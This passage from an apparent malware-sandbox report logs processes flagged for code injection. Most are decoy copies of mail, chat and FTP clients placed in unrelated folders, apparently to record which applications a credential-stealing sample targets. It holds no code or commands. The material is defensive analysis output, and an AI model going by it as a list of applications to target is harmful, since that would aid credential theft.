AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 83 os_tid = 0x310 Process: id = "17" image_name = "gmailnotifierpro.exe" filename = "c:\\program files\\windows portable devices\\gmailnotifierpro.exe" page_root = "0x7b01a000" os_pid = "0x55c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "4" os_parent_pid = "0x560" cmd_line = "\"C:\\Program Files\\Windows Portable Devices\\gmailnotifierpro.exe\" " cur_dir = "C:\\Program Files\\Windows Portable Devices\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 84 os_tid = 0x5a4 Process: id = "18" image_name = "icq.exe" filename = "c:\\program files\\windows photo viewer\\icq.exe" page_root = "0x68d2c000" os_pid = "0x6a4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "4" os_parent_pid = "0x560" cmd_line = "\"C:\\Program Files\\Windows Photo Viewer\\icq.exe\" " cur_dir = "C:\\Program Files\\Windows Photo Viewer\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 85 os_tid = 0x6c4 Process: id = "19" image_name = "leechftp.exe" filename = "c:\\program files\\common files\\leechftp.exe" page_root = "0x6bfd1000" os_pid = "0x7b8" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "4" os_parent_pid = "0x560" cmd_line = "\"C:\\Program Files\\Common Files\\leechftp.exe\" " cur_dir = "C:\\Program Files\\Common Files\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 86 os_tid = 0x908 Process: id = "20" image_name = "ncftp.exe" filename = "c:\\program files (x86)\\adobe\\ncftp.exe" page_root = "0x6c0b8000" os_pid = "0x860" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "4" os_parent_pid = "0x560" cmd_line = "\"C:\\Program Files (x86)\\Adobe\\ncftp.exe\" " cur_dir = "C:\\Program Files (x86)\\Adobe\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 87 os_tid = 0xec Process: id = "21" image_name = "notepad.exe" filename = "c:\\program files\\mozilla firefox\\notepad.exe" page_root = "0x6c0cf000" os_pid = "0xbec" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "4" os_parent_pid = "0x560" cmd_line = "\"C:\\Program Files\\Mozilla Firefox\\notepad.exe\" " cur_dir = "C:\\Program Files\\Mozilla Firefox\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 88 os_tid = 0xda4 Process: id = "22" image_name = "operamail.exe" filename = "c:\\program files (x86)\\internet explorer\\operamail.exe" page_root = "0x6c5f4000" os_pid = "0xb9c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "4" os_parent_pid = "0x560" cmd_line = "\"C:\\Program Files (x86)\\Internet Explorer\\operamail.exe\" " cur_dir = "C:\\Program Files (x86)\\Internet Explorer\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 89 os_tid = 0x428 Process: id = "23" image_name = "outlook.exe" filename = "c:\\program files\\mozilla firefox\\outlook.exe" page_root = "0x6c590000" os_pid = "0x42c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "4" os_parent_pid = "0x560" cmd_line = "\"C:\\Program Files\\Mozilla Firefox\\outlook.exe\" " cur_dir = "C:\\Program Files\\Mozilla Firefox\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 90 os_tid = 0x168 Process: id = "24" image_name = "pidgin.exe" filename = "c:\\program files (x86)\\reference assemblies\\pidgin.exe" page_root = "0x6c9cb000" os_pid = "0xea8" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "4" os_parent_pid = "0x560" cmd_line = "\"C:\\Program Files (x86)\\Reference Assemblies\\pidgin.exe\" " cur_dir = "C:\\Program Files (x86)\\Reference Assemblies\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 91 os_tid = 0xe14 Process: id = "25" image_name = "scriptftp.exe" filename = "c:\\program files\\uninstall information\\scriptftp.exe" page_root = "0x68a6f000" os_pid = "0xef0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "4" os_parent_pid = "0x560" cmd_line = "\"C:\\Program Files\\Uninstall Information\\scriptftp.exe\" " cur_dir = "C:\\Program Files\\Uninstall Information\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 92 os_tid = 0xed8 Process: id = "26" image_name = "skype.exe" filename = "c:\\program files (x86)\\internet explorer\\skype.exe" page_root = "0x5c9fc000" os_pid = "0xf24" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "4" os_parent_pid = "0x560" cmd_line = "\"C:\\Program Files (x86)\\Internet Explorer\\skype.exe\" " cur_dir = "C:\\Program Files (x86)\\Internet Explorer\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 93 os_tid = 0xe78 Process: id = "27" image_name = "smartftp.exe" filename = "c:\\program files (x86)\\google\\smartftp.exe" page_root = "0x5c95d000" os_pid = "0xf48" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "4" os_parent_pid = "0x560" cmd_line = "\"C:\\Program Files (x86)\\Google\\smartftp.exe\" " cur_dir = "C:\\Program Files (x86)\\Google\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 94 os_tid = 0xf58 Process: id = "28" image_name = "thunderbird.exe" filename = "c:\\program files\\msbuild\\thunderbird.exe" page_root = "0x6ac8c000" os_pid = "0xf4c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "4" os_parent_pid = "0x560" cmd_line = "\"C:\\Program Files\\MSBuild\\thunderbird.exe\" " cur_dir = "C:\\Program Files\\MSBuild\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 95 os_tid = 0xf50 Process: id = "29" image_name = "totalcmd.exe" filename = "c:\\program files (x86)\\windowspowershell\\totalcmd.exe" page_root = "0x665ae000" os_pid = "0xedc" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "4" os_parent_pid = "0x560" cmd_line = "\"C:\\Program Files (x86)\\WindowsPowerShell\\totalcmd.exe\" " cur_dir = "C:\\Program Files (x86)\\WindowsPowerShell\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 96 os_tid = 0xed4 Process: id = "30" image_name = "trillian.exe" filename = "c:\\program files (x86)\\adobe\\trillian.exe" page_root = "0x6b8c3000" os_pid = "0xec8" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "4" os_parent_pid = "0x560" cmd_line = "\"C:\\Program Files (x86)\\Adobe\\trillian.exe\" " cur_dir = "C:\\Program Files (x86)\\Adobe\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 97 os_tid = 0xf68 Process: id = "31" image_name = "webdrive.exe" filename = "c:\\program files (x86)\\common files\\webdrive.exe" page_root = "0x36a1f000" os_pid = "0xf60" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "4" os_parent_pid = "0x560" cmd_line = "\"C:\\Program Files (x86)\\Common Files\\webdrive.exe\" " cur_dir = "C:\\Program Files (x86)\\Common Files\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 98 os_tid = 0xf6c Process: id = "32" image_name = "whatsapp.exe" filename = "c:\\program files (x86)\\internet explorer\\whatsapp.exe" page_root = "0x3828f000" os_pid = "0xf7c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "4" os_parent_pid = "0x560" cmd_line = "\"C:\\Program Files (x86)\\Internet Explorer\\whatsapp.exe\" " cur_dir = "C:\\Program Files (x86)\\Internet Explorer\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 99 os_tid = 0xe4c Process: id = "33" image_name = "winscp.exe" filename = "c:\\program files (x86)\\microsoft.net\\winscp.exe" page_root = "0x3e10a000" os_pid = "0xd9c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "4" os_parent_pid = "0x560" cmd_line = "\"C:\\Program Files (x86)\\Microsoft.NET\\winscp.exe\" " cur_dir = "C:\\Program Files (x86)\\Microsoft.NET\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 100 os_tid = 0xd94 Process: id = "34" image_name = "yahoomessenger.exe" filename = "c:\\program files (x86)\\windows media player\\yahoomessenger.exe" page_root = "0x363cc000" os_pid = "0xf94" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "4" os_parent_pid = "0x560" cmd_line = "\"C:\\Program Files (x86)\\Windows Media Player\\yahoomessenger.exe\" " cur_dir = "C:\\Program Files (x86)\\Windows Media Player\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 101 os_tid = 0xfb8